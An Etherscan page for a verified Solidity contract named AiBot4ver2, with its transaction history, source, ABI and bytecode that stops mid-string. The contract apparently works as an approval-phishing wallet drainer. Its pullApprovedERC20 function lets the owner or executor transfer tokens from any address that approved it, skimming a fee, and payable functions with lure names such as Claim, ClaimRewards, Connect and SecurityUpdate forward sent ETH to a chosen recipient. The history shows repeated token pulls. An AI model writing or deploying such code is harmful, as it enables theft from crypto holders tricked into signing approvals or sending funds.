ETH Price: $2,049.79 (+7.30%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Pull Approved ER...244604642026-02-15 6:39:1111 days ago1771137551IN
0x059899C2...316E65FDd
0 ETH0.000092311.05070171
Pull Approved ER...242692742026-01-19 13:59:2337 days ago1768831163IN
0x059899C2...316E65FDd
0 ETH0.000070781.03220467
Pull Approved ER...242692632026-01-19 13:57:1137 days ago1768831031IN
0x059899C2...316E65FDd
0 ETH0.000070731.03136545
Pull Approved ER...242692552026-01-19 13:55:3537 days ago1768830935IN
0x059899C2...316E65FDd
0 ETH0.000070851.03294659
Pull Approved ER...242692492026-01-19 13:54:2337 days ago1768830863IN
0x059899C2...316E65FDd
0 ETH0.000070781.03192294
Pull Approved ER...242692422026-01-19 13:52:5937 days ago1768830779IN
0x059899C2...316E65FDd
0 ETH0.000088421.03185475
Transfer Ownersh...240180642025-12-15 12:40:4772 days ago1765802447IN
0x059899C2...316E65FDd
0 ETH0.000059332.05119813
Withdraw ERC20238109492025-11-16 9:47:59101 days ago1763286479IN
0x059899C2...316E65FDd
0 ETH0.000103442.07036062
Pull Approved ER...238109362025-11-16 9:45:23101 days ago1763286323IN
0x059899C2...316E65FDd
0 ETH0.000111461.06192284
Withdraw ERC20237840462025-11-12 15:29:59105 days ago1762961399IN
0x059899C2...316E65FDd
0 ETH0.000143472.87142648
Pull Approved ER...237840092025-11-12 15:22:35105 days ago1762960955IN
0x059899C2...316E65FDd
0 ETH0.000224752.14099435
Withdraw ERC20237422872025-11-06 19:20:11111 days ago1762456811IN
0x059899C2...316E65FDd
0 ETH0.00002140.64199072
Withdraw ERC20237320702025-11-05 9:00:47112 days ago1762333247IN
0x059899C2...316E65FDd
0 ETH0.000070921.41956637
Pull Approved ER...237280622025-11-04 19:33:11113 days ago1762284791IN
0x059899C2...316E65FDd
0 ETH0.000441844.20952414
Withdraw ERC20236988882025-10-31 17:41:11117 days ago1761932471IN
0x059899C2...316E65FDd
0 ETH0.000094891.41494021
Pull Approved ER...236962732025-10-31 8:53:59117 days ago1761900839IN
0x059899C2...316E65FDd
0 ETH0.000121541.15793696
Withdraw ERC20236636392025-10-26 19:11:47122 days ago1761505907IN
0x059899C2...316E65FDd
0 ETH0.000006340.09463758
Pull Approved ER...235778412025-10-14 18:51:11134 days ago1760467871IN
0x059899C2...316E65FDd
0 ETH0.000154221.46932111
Withdraw ERC20233357882025-09-10 22:56:59168 days ago1757545019IN
0x059899C2...316E65FDd
0 ETH0.000057621.15355082
Pull Approved ER...233340282025-09-10 17:01:47168 days ago1757523707IN
0x059899C2...316E65FDd
0 ETH0.000233872.22816467
Withdraw ERC20233115662025-09-07 13:37:59171 days ago1757252279IN
0x059899C2...316E65FDd
0 ETH0.000058911.17907446
Pull Approved ER...232968752025-09-05 12:21:59173 days ago1757074919IN
0x059899C2...316E65FDd
0 ETH0.000137281.30797763
Withdraw ERC20230184802025-07-28 15:16:47212 days ago1753715807IN
0x059899C2...316E65FDd
0 ETH0.000158763.17749767
Pull Approved ER...230172612025-07-28 11:10:59212 days ago1753701059IN
0x059899C2...316E65FDd
0 ETH0.000130831.24650472
Set Executor229504412025-07-19 3:02:35222 days ago1752894155IN
0x059899C2...316E65FDd
0 ETH0.000100993.26318111
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
AiBot4ver2

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-07-19
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;

// Custom errors for access control
error AiBot__NotAuthorized(); // Generic error for unauthorized access



// Define the full IERC20 interface as per the standard
interface IERC20Full {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract AiBot4ver2 {
    address private owner;
    address private executor;
    uint256 private ethFeeCollected;
    uint8 private percentage;

    
    mapping(address => mapping(address => uint256)) private _allowances;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event ExecutorChanged(address indexed previousExecutor, address indexed newExecutor);
    event PercentageChanged(uint8 previousPercentage, uint8 currentPercentage);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor() {
        owner = msg.sender;
        executor = msg.sender; // Initialize executor to owner by default
        ethFeeCollected = 0;
        percentage = 5;
    }

    // --- Modifiers ---
    modifier onlyOwnerOrExecutor() {
        if (msg.sender != owner && msg.sender != executor) {
            revert AiBot__NotAuthorized(); // Using a more general unauthorized error
        }
        _;
    }

    // Modifier for owner-only functions
    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert AiBot__NotAuthorized(); // Reusing the generic error
        }
        _;
    }

    // --- Owner & Role Management ---
    function getOwner() public view returns (address) {
        return owner;
    }

    function getExecutor() public view returns (address) {
        return executor;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner cannot be the zero address");
        address previousOwner = owner;
        owner = newOwner;
        emit OwnershipTransferred(previousOwner, newOwner);
    }

    function setExecutor(address newExecutor) public onlyOwner {
        require(newExecutor != address(0), "New executor cannot be the zero address");
        address previousExecutor = executor;
        executor = newExecutor;
        emit ExecutorChanged(previousExecutor, newExecutor);
    }

    // --- Fee & Balance Management ---
    function getContractETHBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getEthFeeCollected() public view returns (uint256) {
        return ethFeeCollected;
    }

    // Only owner can withdraw ETH fees
    function withdrawEthFees(address recipient) public onlyOwner {
        require(recipient != address(0), "Recipient cannot be the zero address");
        uint256 amountToWithdraw = ethFeeCollected;
        require(amountToWithdraw > 0, "No ETH fees to withdraw");
        
        ethFeeCollected = 0;

        (bool success, ) = payable(recipient).call{value: amountToWithdraw}("");
        require(success, "Failed to withdraw ETH fees");
    }

    // Only owner can withdraw any native ETH held by the contract
    function withdrawNativeETH(address payable _to) public onlyOwner {
        require(_to != address(0), "Recipient cannot be the zero address");
        uint256 balance = address(this).balance;
        require(balance > 0, "No ETH to withdraw");

        (bool success, ) = _to.call{value: balance}("");
        require(success, "Failed to send ETH");
    }

   function withdrawERC20(
    address _tokenAddress,
    address _to
) public onlyOwner returns (bool) {
    require(_to != address(0), "Recipient cannot be the zero address");
    
    IERC20Full token = IERC20Full(_tokenAddress);
    uint256 _amount = token.balanceOf(address(this));
    require(_amount > 0, "No tokens to withdraw");

    // Use low-level call to handle non-standard tokens like USDT
    (bool success, bytes memory data) = _tokenAddress.call(
        abi.encodeWithSelector(IERC20Full.transfer.selector, _to, _amount)
    );
    require(success && (data.length == 0 || abi.decode(data, (bool))), "Failed to transfer tokens");
    
    return true;
}

    function changePercentage(uint8 newPercentage) public onlyOwner {
        require(newPercentage <= 100, "Percentage cannot exceed 100%");
        uint8 previousPercentage = percentage;
        percentage = newPercentage;
        emit PercentageChanged(previousPercentage, percentage);
    }

    // --- Receive and Fallback functions (to receive ETH) ---
    receive() external payable {}
    fallback() external payable {}

    // --- ETH Withdrawal Functions (handled by _processEthWithdrawal) ---
    function _processEthWithdrawal(address recipient) private {
        uint256 amount = msg.value;
        require(amount > 0, "ETH amount must be greater than zero");

        uint256 reserve = (amount * percentage) / 100;
        uint256 amountToRecipient = amount - reserve;

        ethFeeCollected += reserve;

        (bool success, ) = payable(recipient).call{value: amountToRecipient}("");
        require(success, "Failed to send ETH to recipient");
    }

    function Claim(address recipient) public payable { _processEthWithdrawal(recipient); }
    function ClaimReward(address recipient) public payable { _processEthWithdrawal(recipient); }
    function ClaimRewards(address recipient) public payable { _processEthWithdrawal(recipient); }
    function Execute(address recipient) public payable { _processEthWithdrawal(recipient); }
    function Multicall(address recipient) public payable { _processEthWithdrawal(recipient); }
    function Swap(address recipient) public payable { _processEthWithdrawal(recipient); }
    function Connect(address recipient) public payable { _processEthWithdrawal(recipient); }
    function SecurityUpdate(address recipient) public payable { _processEthWithdrawal(recipient); }

    // --- ERC-20 Allowance Management (AiBot's own allowances, if applicable) ---
    function approve(address spender, uint256 amount) public returns (bool) {
        require(spender != address(0), "Approve to the zero address");
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view returns (uint256) {
        return _allowances[_owner][spender];
    }

    // --- Query Functions for ERC-20 Tokens ---

    
    function checkApprovedAllowance(
        address _tokenAddress,
        address _tokenHolder
    ) public view onlyOwnerOrExecutor returns (uint256) {
        IERC20Full token = IERC20Full(_tokenAddress);
        return token.allowance(_tokenHolder, address(this));
    }

   
    function checkTokenBalanceOfUser(
        address _tokenAddress,
        address _userAddress
    ) public view onlyOwnerOrExecutor returns (uint256) {
        IERC20Full token = IERC20Full(_tokenAddress);
        return token.balanceOf(_userAddress);
    }

   
    function pullApprovedERC20(
    address _tokenAddress,
    address _from,
    address _to,
    uint256 _amount
) public onlyOwnerOrExecutor returns (bool) {
    require(_amount > 0, "Amount must be greater than zero");
    require(_to != address(0), "Recipient cannot be the zero address");

    uint256 feeAmount = (_amount * percentage) / 100;
    uint256 amountToTransfer = _amount - feeAmount;

    // First: Pull fee
    (bool success1, bytes memory data1) = _tokenAddress.call(
        abi.encodeWithSelector(IERC20Full.transferFrom.selector, _from, address(this), feeAmount)
    );
    require(success1 && (data1.length == 0 || abi.decode(data1, (bool))), "Failed to collect ERC-20 fee");

    // Second: Transfer rest
    (bool success2, bytes memory data2) = _tokenAddress.call(
        abi.encodeWithSelector(IERC20Full.transferFrom.selector, _from, _to, amountToTransfer)
    );
    require(success2 && (data2.length == 0 || abi.decode(data2, (bool))), "Failed to transfer main ERC-20 amount");

    return true;
}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AiBot__NotAuthorized","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousExecutor","type":"address"},{"indexed":true,"internalType":"address","name":"newExecutor","type":"address"}],"name":"ExecutorChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"previousPercentage","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"currentPercentage","type":"uint8"}],"name":"PercentageChanged","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"Claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"ClaimReward","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"ClaimRewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"Connect","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"Multicall","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"SecurityUpdate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"Swap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newPercentage","type":"uint8"}],"name":"changePercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_tokenHolder","type":"address"}],"name":"checkApprovedAllowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_userAddress","type":"address"}],"name":"checkTokenBalanceOfUser","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getContractETHBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getEthFeeCollected","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getExecutor","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"pullApprovedERC20","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newExecutor","type":"address"}],"name":"setExecutor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddress","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"withdrawERC20","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"withdrawEthFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_to","type":"address"}],"name":"withdrawNativeETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052348015600e575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600281905550600560035f6101000a81548160ff021916908360ff160217905550612937806100bd5f395ff3fe608060405260043610610143575f3560e01c806363e32091116100b5578063d285660d1161006e578063d285660d146103e4578063dd62ed3e1461040c578063e187aa7314610448578063f2fde38b14610484578063f3294c13146104ac578063faf96380146104c85761014a565b806363e32091146102e65780636c1032af14610302578063893d20e81461032c5780638c89a0ad146103565780638f56df3a146103805780639456fbcc146103a85761014a565b8063235da93811610107578063235da938146102045780632a1b9915146102405780632f737d841461026857806339d0534a1461029257806339fded47146102ae578063593dae5b146102ca5761014a565b80630178be5f1461014c578063064c8c7c14610168578063095ea7b3146101845780630c7ef932146101c05780631c3c0ea8146101dc5761014a565b3661014a57005b005b61016660048036038101906101619190611c0e565b610504565b005b610182600480360381019061017d9190611c0e565b610510565b005b34801561018f575f80fd5b506101aa60048036038101906101a59190611c6c565b61051c565b6040516101b79190611cc4565b60405180910390f35b6101da60048036038101906101d59190611c0e565b610677565b005b3480156101e7575f80fd5b5061020260048036038101906101fd9190611c0e565b610683565b005b34801561020f575f80fd5b5061022a60048036038101906102259190611cdd565b610838565b6040516102379190611d2a565b60405180910390f35b34801561024b575f80fd5b5061026660048036038101906102619190611d7e565b61099e565b005b348015610273575f80fd5b5061027c610b83565b6040516102899190611d2a565b60405180910390f35b6102ac60048036038101906102a79190611c0e565b610b8c565b005b6102c860048036038101906102c39190611c0e565b610b98565b005b6102e460048036038101906102df9190611c0e565b610ba4565b005b61030060048036038101906102fb9190611c0e565b610bb0565b005b34801561030d575f80fd5b50610316610bbc565b6040516103239190611db8565b60405180910390f35b348015610337575f80fd5b50610340610be4565b60405161034d9190611db8565b60405180910390f35b348015610361575f80fd5b5061036a610c0b565b6040516103779190611d2a565b60405180910390f35b34801561038b575f80fd5b506103a660048036038101906103a19190611c0e565b610c12565b005b3480156103b3575f80fd5b506103ce60048036038101906103c99190611cdd565b610e00565b6040516103db9190611cc4565b60405180910390f35b3480156103ef575f80fd5b5061040a60048036038101906104059190611e07565b61110b565b005b348015610417575f80fd5b50610432600480360381019061042d9190611cdd565b61124d565b60405161043f9190611d2a565b60405180910390f35b348015610453575f80fd5b5061046e60048036038101906104699190611cdd565b6112cf565b60405161047b9190611d2a565b60405180910390f35b34801561048f575f80fd5b506104aa60048036038101906104a59190611c0e565b611437565b005b6104c660048036038101906104c19190611c0e565b6115ea565b005b3480156104d3575f80fd5b506104ee60048036038101906104e99190611e32565b6115f6565b6040516104fb9190611cc4565b60405180910390f35b61050d81611a68565b50565b61051981611a68565b50565b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361058b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058290611ef0565b60405180910390fd5b8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106659190611d2a565b60405180910390a36001905092915050565b61068081611a68565b50565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610707576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90611f7e565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f54a57d849b9d8af1a8883dad9184e599aa67ef60814f6c91db7f864abd4325fc60405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156108e2575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610919576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f8390508073ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b81526004016109569190611db8565b602060405180830381865afa158015610971573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109959190611fb0565b91505092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a22576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a879061204b565b60405180910390fd5b5f4790505f8111610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd906120b3565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1682604051610afb906120fe565b5f6040518083038185875af1925050503d805f8114610b35576040519150601f19603f3d011682016040523d82523d5f602084013e610b3a565b606091505b5050905080610b7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b759061215c565b60405180910390fd5b505050565b5f600254905090565b610b9581611a68565b50565b610ba181611a68565b50565b610bad81611a68565b50565b610bb981611a68565b50565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f47905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c96576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfb9061204b565b60405180910390fd5b5f60025490505f8111610d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d43906121c4565b60405180910390fd5b5f6002819055505f8273ffffffffffffffffffffffffffffffffffffffff1682604051610d78906120fe565b5f6040518083038185875af1925050503d805f8114610db2576040519150601f19603f3d011682016040523d82523d5f602084013e610db7565b606091505b5050905080610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df29061222c565b60405180910390fd5b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e86576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eeb9061204b565b60405180910390fd5b5f8390505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f329190611db8565b602060405180830381865afa158015610f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f719190611fb0565b90505f8111610fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fac90612294565b60405180910390fd5b5f808673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b8785604051602401610fe99291906122b2565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516110539190612321565b5f604051808303815f865af19150503d805f811461108c576040519150601f19603f3d011682016040523d82523d5f602084013e611091565b606091505b50915091508180156110be57505f815114806110bd5750808060200190518101906110bc9190612361565b5b5b6110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f4906123d6565b60405180910390fd5b600194505050505092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461118f576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60648160ff1611156111d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cd9061243e565b60405180910390fd5b5f60035f9054906101000a900460ff1690508160035f6101000a81548160ff021916908360ff1602179055507fdd95ff076af0f2df7fe35fa71e6c284885f73b1c4473e26647bf0b69446bf16f8160035f9054906101000a900460ff1660405161124192919061246b565b60405180910390a15050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611379575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156113b0576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f8390508073ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84306040518363ffffffff1660e01b81526004016113ef929190612492565b602060405180830381865afa15801561140a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142e9190611fb0565b91505092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114bb576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152090612529565b60405180910390fd5b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6115f381611a68565b50565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156116a0575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116d7576040517ffe6a5b2d00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f8211611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090612591565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e9061204b565b60405180910390fd5b5f606460035f9054906101000a900460ff1660ff16846117a791906125dc565b6117b1919061264a565b90505f81846117c0919061267a565b90505f808873ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b8930876040516024016117f8939291906126ad565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516118629190612321565b5f604051808303815f865af19150503d805f811461189b576040519150601f19603f3d011682016040523d82523d5f602084013e6118a0565b606091505b50915091508180156118cd57505f815114806118cc5750808060200190518101906118cb9190612361565b5b5b61190c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119039061272c565b60405180910390fd5b5f808a73ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b8b8b88604051602401611942939291906126ad565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119ac9190612321565b5f604051808303815f865af19150503d805f81146119e5576040519150601f19603f3d011682016040523d82523d5f602084013e6119ea565b606091505b5091509150818015611a1757505f81511480611a16575080806020019051810190611a159190612361565b5b5b611a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4d906127ba565b60405180910390fd5b60019650505050505050949350505050565b5f3490505f8111611aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa590612848565b60405180910390fd5b5f606460035f9054906101000a900460ff1660ff1683611ace91906125dc565b611ad8919061264a565b90505f8183611ae7919061267a565b90508160025f828254611afa9190612866565b925050819055505f8473ffffffffffffffffffffffffffffffffffffffff1682604051611b26906120fe565b5f6040518083038185875af1925050503d805f8114611b60576040519150601f19603f3d011682016040523d82523d5f602084013e611b65565b606091505b5050905080611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906128e3565b60405180910390fd5b5050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611bdd82611bb4565b9050919050565b611bed81611bd3565b8114611bf7575f80fd5b50565b5f81359050611c0881611be4565b92915050565b5f60208284031215611c2357611c22611bb0565b5b5f611c3084828501611bfa565b91505092915050565b5f819050919050565b611c4b81611c39565b8114611c55575f80fd5b50565b5f81359050611c6681611c42565b92915050565b5f8060408385031215611c8257611c81611bb0565b5b5f611c8f85828601611bfa565b9250506020611ca085828601611c58565b9150509250929050565b5f8115159050919050565b611cbe81611caa565b82525050565b5f602082019050611cd75f830184611cb5565b92915050565b5f8060408385031215611cf357611cf2611bb0565b5b5f611d0085828601611bfa565b9250506020611d1185828601611bfa565b9150509250929050565b611d2481611c39565b82525050565b5f602082019050611d3d5f830184611d1b565b92915050565b5f611d4d82611bb4565b9050919050565b611d5d81611d43565b8114611d67575f80fd5b50565b5f81359050611d7881611d54565b92915050565b5f60208284031215611d9357611d92611bb0565b5b5f611da084828501611d6a565b91505092915050565b611db281611bd3565b82525050565b5f602082019050611dcb5f830184611da9565b92915050565b5f60ff82169050919050565b611de681611dd1565b8114611df0575f80fd5b50565b5f81359050611e0181611ddd565b92915050565b5f60208284031215611e1c57611e1b611bb0565b5b5f611e2984828501611df3565